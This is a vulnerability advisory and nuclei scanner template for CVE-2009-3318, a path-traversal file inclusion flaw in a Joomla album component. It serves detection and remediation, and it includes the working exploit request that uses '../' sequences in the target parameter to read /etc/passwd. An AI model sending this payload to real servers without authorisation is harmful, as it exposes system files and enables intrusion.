Joomla! Roland Breedveld Album 1.14 - Local File Inclusion

highseverity

7.5CVSS score

6.5%likelihood of exploitation, next 30 days

94%of all CVEs are less likely

Readycheck to confirm it

Joomla! Roland Breedveld Album 1.14 (com_album) is susceptible to local file inclusion because it allows remote attackers to access arbitrary directories and have unspecified other impact via a .. (dot dot) in the target parameter to index.php.

Impact

The vulnerability allows an attacker to include arbitrary files from the local file system, potentially leading to unauthorized access, data disclosure.

Fix

Update to the latest version of Joomla! Roland Breedveld Album and apply any available patches or security updates.

How to confirm it

Send: GET {{BaseURL}}/index.php?option=com_album&Itemid=128&target=../../../../../../../../../etc/passwd
Positive when: matches /root:.*:0:0:/ AND status 200

Run it with nuclei: nuclei -id CVE-2009-3318 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2009-3318

info:
  name: Joomla! Roland Breedveld Album 1.14 - Local File Inclusion
  author: daffainfo
  severity: high
  description: Joomla! Roland Breedveld Album 1.14 (com_album) is susceptible to local file inclusion because it allows remote attackers to access arbitrary directories and have unspecified other impact via a .. (dot dot) in the target parameter to index.php.
  impact: |
    The vulnerability allows an attacker to include arbitrary files from the local file system, potentially leading to unauthorized access, data disclosure.
  remediation: |
    Update to the latest version of Joomla! Roland Breedveld Album and apply any available patches or security updates.
  reference:
    - https://www.exploit-db.com/exploits/9706
    - https://nvd.nist.gov/vuln/detail/CVE-2009-3318
    - http://www.exploit-db.com/exploits/9706
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:L/Au:N/C:P/I:P/A:P
    cvss-score: 7.5
    cve-id: CVE-2009-3318
    cwe-id: CWE-22
    epss-score: 0.06455
    epss-percentile: 0.93787
    cpe: cpe:2.3:a:joomla:joomla:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: joomla
    product: joomla
  tags: cve2009,cve,joomla,lfi,edb,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/index.php?option=com_album&Itemid=128&target=../../../../../../../../../etc/passwd"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200

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